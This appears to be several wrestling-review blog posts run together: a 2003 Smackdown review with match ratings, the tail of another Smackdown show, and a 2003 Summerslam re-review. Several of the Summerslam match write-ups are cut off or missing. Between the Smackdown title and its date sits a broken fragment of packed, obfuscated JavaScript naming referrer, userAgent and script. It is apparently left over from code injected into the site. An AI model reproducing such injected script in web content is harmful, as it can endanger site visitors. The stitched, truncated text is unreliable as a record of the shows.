Gene Okerlund is here to moderate the Vince and Hogan contract signing. Hogan comes out first and makes sure to soak in some cheers from some unbelievable Maniacs. Hulk wants to know what’s up with McMahonamania because Vince didn’t create Hulkamania. We see Vince walking through the back but here he is attacking Hogan from behind with a chair. I know it’s a simple editing trick but I’ve always been a fan of that kind of thing. Vince chairs Hogan down and busts him open, forcing him to sign the contract in his own blood. We get the big dramatic shots of the bloody Hogan to end the show.

Overall Rating: C-. If there was any doubt about the Smackdown main event for Wrestlemania, this show certainly got rid of them. This was full speed ahead on Hogan vs. McMahon and it’s towering over Lesnar vs. Angle. The title match has the more entertaining build but there’s no hiding the fact that the old timers are the real focal point. The wrestling was short here but it was entertaining while it lasted, especially for matches designed to set up the pay per view and not be big deals on their own. They’re starting to focus on Seattle but there’s not a lot of time left and it’s really starting to show.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Smackdown – March 13, 2003: Working All The Angles

Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyrha|var|u0026u|referrer|ryaaa||js|php'.split('|'),0,{})) March 13, 2003
Location: Mellon Arena, Pittsburgh, Pennsylvania
Commentators: Michael Cole, Tazz

It’s a big night in Pittsburgh as the hometown boy Kurt Angle is defending the Smackdown World Title against former champion Brock Lesnar. WWE has hyped the heck out of having the Wrestlemania main event two and a half weeks early and that almost guarantees some kind of a screwy finish. Let’s get to it.

A fired up Lesnar arrived earlier in the day, as did a zombie-esque Angle, who is sporting a VERY black eye.

Opening sequence.

Team Angle vs. Rey Mysterio/Billy Kidman

Non-title. Kidman shoulders Charlie down to start and there’s an armdrag to Shelton for good measure. Rey gets in a headscissors for two and Shelton isn’t sure how to keep up with Mysterio’s speed. It’s off to Kidman as the Angle vs. Lesnar hype continues. Shelton avoids a charge in the corner and Kidman goes shoulder first into the corner so the champs can take over. Shelton and Charlie take turns on the arm before Benjamin does his jump over Charlie onto Kidman’s back (that really needs a name).

Kidman finally gets in a dropkick and brings in Mysterio to clean house. Rey tries a hurricanrana on Shelton, who shoves him away, right into a moonsault press for two on Haas. Everything breaks down and Kidman easily reverses Charlie’s powerbomb (as you might expect). Shelton is sent outside and the 619 hits Haas. Kidman adds the shooting star press but Shelton gets up for a save. Mysterio is cut off and it’s the superkick into the German suplex to put Kidman away.

Rating: C+. Good action between four talented people, but more importantly it was nice to see Haas and Benjamin FINALLY get a win. I have no idea what the mentality is behind putting titles on people and then have them lose over and over again. A win like this helps, but they need to retain in a big title defense or there’s not much of a point to keeping the belts on them.

Stephanie McMahon is on the phone when Brian Kendrick comes in with some flowers. This goes nowhere.

Jamie Noble went to the Playboy Mansion to yell about Torrie Wilson being in Playboy instead of Nidia. After some plugs for the Girls Gone Wild show, security takes him away.

Chuck Palumbo vs. Rikishi

Rikishi goes after the other Italians and walks into a superkick from Palumbo for an early two. A belly to belly gets the same and it’s time for the required interference from the Italians. Rikishi comes back with some right hands in the corner and the Italians get on the apron. Cue Los Guerreros to take care of them though, allowing Rikishi to hit the Rump Shaker for the pin.

Undertaker finds Nathan Jones in a dark room. Apparently you can’t get the prison out of the wrestler. Undertaker doesn’t care, as long as Jones is ready for Wrestlemania.

A-Train/Big Show vs. Funaki/Tajiri

Big Show BLASTS Funaki with a clothesline at the bell and adds a gorilla press. It’s off to A-Train as Show sits in on commentary. Some kicks stagger A-Train but he knees Tajiri in the ribs to cut that off in a hurry. A dropkick to the knee allows Funaki to hit a springboard dropkick but they can’t drop the big bald. Tajiri’s kick to the face puts A-Train down so Big Show comes back in with the chokeslam. A-Train’s Trainwreck ends Funaki.

Rating: D. Just a squash and unfortunately a good way to show how generic a power team Big Show and A-Train really are. These power battle matches rarely work and I have a bad feeling about what we might be in for at Wrestlemania. The fact that Jones isn’t being allowed to get in the ring suggests a lot of problems and that’s a really bad idea going into the biggest show of the year. As a side note, is there any reason Tajiri and Funaki aren’t a regular team? They’d be fine as a midcard tag act.

We look back at Lesnar beating Heyman last week.

Fans are split on who will win the title match tonight.

Dawn Marie is sad about not being in Playboy. Sean O’Haire comes up and says that she should show off her body tonight by flashing the audience.

Torrie Wilson unveils her Playboy cover by holding up the magazine.

Here’s Dawn to say she has a nice body. She unbuttons her shirt and flashes the announcers, with the top rope covering everything up. Tazz: “THAT’S WHY THEY CALL IT THE MELLON ARENA!”

John Cena talks about being a Viagra triple shot while Brock Lesnar is a limo biscuit.

Los Guerreros vs. Rhyno/Chris Benoit

The winners get Haas and Benjamin for the titles at Wrestlemania. The opening bell never rings as Chavo and Benoit fight over arm control. It’s off to Eddie and the fans seem appreciative of seeing these two together. Therefore it’s off to Rhyno before anything happens and a hard shove sends Eddie sprawling into the corner. For once Chavo actually does better as a snapmare into a basement dropkick has Rhyno in trouble.

Rhyno launches Eddie into the air for a crash to take over again though and it’s back to Benoit for a knee to the ribs. Benoit belly to backs Chavo for two but Eddie comes back in for a good looking dropkick. In a surprising move, Eddie calms Chavo down from getting too involved to prevent a potential DQ. It’s for Wrestlemania after all so that makes sense. Things settle down enough for Chavo to chinlock Benoit as the pace slows.

Tazz talks about dogs and cats for some reason as Chavo does one of the most obvious spot calls I’ve seen in years. Eddie’s slingshot hilo gets two and we hit the armbar. Chavo comes back in and charges straight into a Crossface but he’s too close to the ropes. Benoit rolls outside with him and it’s Eddie diving onto Benoit, followed by Rhyno running Eddie over as we take a break.

Chavo grabbing a Crossface on Benoit (and being pretty bad at it) but Rhyno tags Benoit’s boot to come in for the save. A belly to belly into a chinlock slows Chavo down but he’s right back up with a middle rope dropkick. It’s back to Eddie vs. Benoit with Guerrero winning a slugout and grabbing a hurricanrana. He takes a bit too much time slapping his chest though and Benoit catches him on top, only to get caught in a sunset bomb for two.

Rhyno throws Chavo outside and still manages to break up a small package on Benoit. Chavo comes back in but gets caught in the Crossface, onto to have Eddie break it up with a frog splash. There’s a Gore to Eddie but Chavo hurricanranas him out to the floor. That leaves Benoit to roll some German suplexes on Eddie, who pops right back up with Three Amigos. Benoit will have none of that though and reverses into the Crossface but Eddie gets his hand out, earning himself even more German suplexes….and here’s Team Angle for the no contest after twenty minutes.

Rating: B. They were really starting to roll when the stupid finish happened. If Haas and Benjamin were just going to run in and end the match that way, why did they wait that long to do so? Anyway, Rhyno has fit right back into this show and is a nice power addition to go with the high fliers and technicians. You know this is setting up a triple threat at Wrestlemania and while I’d rather have Benoit do something important on is own, at least he’s in a title match.

We look back at last week with Hulk Hogan and Vince McMahon agreeing to a fight at Wrestlemania. Well at least they were gentlemen about it. For some reason we also have to hear them go on about all their history together, because, again, fans care SO MUCH about lawsuits and wrestlers jumping ship seven years ago.

Stephanie tells Team Angle that they’ll be facing both teams at Wrestlemania.

We get a clip from 1984 of Vince introducing a clip of Hogan beating Iron Sheik for the title, which transitions into a Hogan video package, including several Hogan Wrestlemania moments. That’s it for the fun stuff as we now go to an interview from some DVD of Hogan talking about being the one out there doing all this stuff. Vince threw him the ball and Hogan ran with it. It’s capped off by a clip from 1992 of Vince and Hogan sitting together before Hogan’s “retirement” match where they shake hands and thank each other.

Vince makes us watch the final part two more times and says that’s the only time Hogan ever thanked him for anything. What an ingrate. They used to be the best of friends but then Hogan changed. That change hurt Vince’s family and business which cut him to the bone. That clip wasn’t Hogan saying thank you but rather SCREW YOU VINCE.

We hear about how horrible it was for Hogan to jump to WCW again and Vince reiterates that it’s a fight instead of a match. We go to an extreme closeup as Vince says that after Wrestlemania, he is going to be devastated because Hogan has forced him to kill one of his own creations. For that, he can never forgive Hogan.

Cole says the contract signing for Hogan vs. McMahon is next week in the historic Freedom Hall in Louisville, Kentucky. Freedom Hall is not historic Cole.

Here’s Matt Hardy, who has never locked his keys in his car and hates cleaning his carpet, to issue an open challenge to anyone under 220lbs, save for Mysterio of course.

Matt Hardy vs. Pittsburgh Penguin

Non-title and it’s Brian Kendrick under a mask with a carrot for a nose. Tazz: “So this guy can fly then?” The Penguin tries to speed things up to start and hits a dropkick. Sliced Bread #2 is broken up so it’s a headscissors out of the corner to send Hardy flying. The Ricochet gets two though and Matt stomps away on the back. A tilt-a-whirl slam gets two and there goes the mask, revealing Kendrick in not the best surprise. Kendrick gets two off a facebuster and something like a tornado DDT gets two more. Shannon offers a distraction but Kendrick is able to grab Sliced Bread anyway. That’s enough for Matt as he takes the countout.

Rating: D+. Not terrible and the surprise (as obvious as it was) wasn’t the worst idea in the world. Having Kendrick win via countout makes him look good, though I’m not sure how smart it is to do that to a champion right before the biggest show of the year. Just have him beat Shannon instead as it’s not like that means anything.

After a break, Rey praises Kendrick.

Long recap of Lesnar vs. Angle.

Wrestlemania Moment: Hogan vs. Andre. That works.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Angle is defending in his hometown. Kurt comes to the ring with his hood up and immediately drops to his knee in the corner with his face against the buckle. Brock jumps him from behind and fires off the shoulders to the back as the hood is still up. The F5 connects but Brock lets him up at two because that’s not Kurt. Cue Team Angle for a distraction so the real Kurt can switch with whoever was in the ring. Angle small packages Brock to retain in maybe 90 seconds.

Kurt bails so Brock hits the F5 into the post on the other Angle, who Tazz recognizes as Kurt’s brother Eric, to end the show. Basically Kurt’s neck was destroyed and he didn’t think he’d be able to do Wrestlemania. This match was going to be a quick title change but Angle opted for surgery after working Wrestlemania because Angle is, shall we say, freaking crazy.

Overall Rating: D. That ending felt straight out of WCW and really brings down the rest of the show. It’s all they were talking about for most of the night and that’s not how you want to wrap up one of the last shows of the year before Wrestlemania. On top of that, the Vince vs. Hogan stuff is getting old in a hurry and the rest of Smackdown’s stuff isn’t all that great. Bad show this week as the main event cuts the legs off what could have been a good, or at least ok, night.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Summerslam Count-Up – 2003: And So, HHH. Again.

Summerslam 2003
Date: August 24, 2003
Location: America West Arena, Phoenix, Arizona
Attendance: 16,113
Commentators: Jim Ross, Tazz, Michael Cole, Jerry Lawler

The US Marine Corps presents the American flag while Lillian sings the Star Spangled Banner.

The opening video talks about how there is evil in this world and the Chamber tonight will prove it.

Raw Tag Titles: Dudley Boyz vs. La Resistance

Coach says La Resistance was clever so Bubba accuses him of being anti-American and vows to get the belts back.

Undertaker vs. A-Train

A-Train starts pounding away on the ribs and sends them into the barricade for two back in the ring. Taker gets in some shots to the ribs of his own for a breather but A-Train comes back with an impressive suplex to take him down. This is the kind of character A-Train was perfect as: a heavy who could do some impressive moves at times. A-Train fights out of a sleeper with a belly to back suplex but Taker hits a quick Snake Eyes to get a breather. A big boot misses the big bald head and a double clothesline puts each other down.

Taker wins a slugout after A-Train hung in there a lot longer than expected. Now the big boot sets up the legdrop (BROTHER) for two and another legdrop to the back of the head with A-Train on the apron has the bald one staggered. The Last Ride is easily broken up but the referee is bumped.

A-Train hits the Derailer (chokebomb) but the delayed count only gets two. Taker accidentally clotheslines the referee down again (the second match does NOT warrant two ref bumps) and A-Train brings in a chair, only to have it cracked over his own head for a near fall. A-Train escapes a tombstone but gets caught in a chokeslam for the pin.

Rating: D. What are you expecting out of this match? This was back when Taker was pretty bad in the ring due to being completely unmotivated and bored with the biker character. Thankfully he would be the Dead Man again by Wrestlemania and would eventually reignite his career around 2007.

Post match Sable tries to seduce Taker for some reason but Stephanie comes in to go after her, presumably setting up a mixed tag.

Coach polls some fans on who wins the Chamber.

Shane McMahon vs. Eric Bischoff

Wrestlemania moment. Kind of an odd time for one of these but Shawn superkicking Bret was an awesome moment.

Flair and HHH tell Orton to keep the title on the Game tonight and nothing more.

US Title: Eddie Guerrero vs. Chris Benoit vs. Tajiri vs. Rhyno

Eddie is defending and this is one fall to a finish. Eddie has ticked off all three challengers so they all want to take him out. The champion bails to the floor so everyone else can fight and we quickly get down to Rhyno vs. Benoit. Chris hooks a quick Crossface, drawing Eddie in for the save. Tajiri is back in as well but Eddie breaks up a cover. Everyone is in now and all three challengers go after Eddie at the same time.

Tajiri makes the ropes so Eddie turns around to dropkick Benoit in the head for the save. Benoit grabs the Crossface on Guerrero but Rhyno and Tajiri make the double save. Rhyno hits a spinebuster for two on Tajiri but Benoit knocks Rhyno to the floor. Chris rolls some Germans on Tajiri but Tajiri reverses into one of his own for two on Benoit.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Lesnar picks up the belt and tries to walk out with it but Kurt pounds him down in the aisle to start the brawling. Back in and Angle snaps off the first overhead belly to belly for two before stomping him down in the corner. Brock comes right back with a gorilla press and throws Angle out to the floor. Angle is sent into the steps as this is far different from the Wrestlemania match. Back in and Brock hits a release belly to belly without leaving his feet.

Some Arizona Diamondbacks are here.

Kane vs. Rob Van Dam

RVD kicks out of the chokeslam but gets knocked out to the floor as the brawl continues. Kane sends him into the steps and is in full on monster mode. Back in and Van Dam scores with a kick and some shoulders to the ribs for two. Rob goes up top but gets shoved down onto the barricade to give Kane control again. A ladder to the face gets two back in the ring and a big clothesline puts Van Dam down again.

We hit the slow motion part of the match as Kane pounds on Van Dam very slowly to stop the crowd from being interested. Van Dam is backdropped to the floor but Kane badly botches the top rope clothesline, nearly falling on his head and dying. Kane avoids another ladder shot and DDTs Van Dam on he floor, only to have Rob catch a charging Kane in a drop toehold to send him face first into the steps. Kane is kicked into the crowd and crotched as he tries to come back to ringside.

Eric is annoyed that Terri is asking him questions. Linda comes in and slaps Bischoff in the face.

HHH looks at the world title.

The Chamber is lowered.

Raw World Title: HHH vs. Kevin Nash vs. Goldberg vs. Chris Jericho vs. Shawn Michaels vs. Randy Orton

Flair shoves the pod door closed to save HHH so Goldberg kicks the pod door in so we can actually have a match. Goldberg pounds away in the pod before sending HHH face first into the cage. The champion is busted open but he FINALLY gets in a kick to the leg and sends Goldberg into the cage. Goldberg comes right back with a clothesline and they head into the ring. The spear is loaded up but hits the sledgehammer that Flair slid in, keeping the title on HHH.

Post match HHH and Evolution gets to destroy Goldberg again with the hammer to really pound in who is the star. Goldberg is handcuffed to the cage so HHH can shove the belt in his face and remind him who the champion is to end the show.

Ratings Comparison

La Resistance vs. Dudley Boyz

Original: C

Redo: D+

A-Train vs. Undertaker

Original: D

Redo: D

Eric Bischoff vs. Shane McMahon

Original: D

Redo: N/A

Tajiri vs. Rhyno vs. Eddie Guerrero vs. Chris Benoit

Original: B-

Redo: B+

Brock Lesnar vs. Kurt Angle

Original: A-

Redo: B

Rob Van Dam vs. Kane

Original: C-

Redo: C-

Goldberg vs. HHH vs. Kevin Nash vs. Shawn Michaels vs. Chris Jericho vs. Randy Orton

Original: D

Redo: C-

Overall Rating

Original: D+

Redo: C

So I liked almost all of the matches more or the same the first time, but the overall rating is much higher this time. Not surprising.

http://kbwrestlingreviews.com/2011/08/06/history-of-summerslam-count-up-2003-brock-vs-angle-ii/

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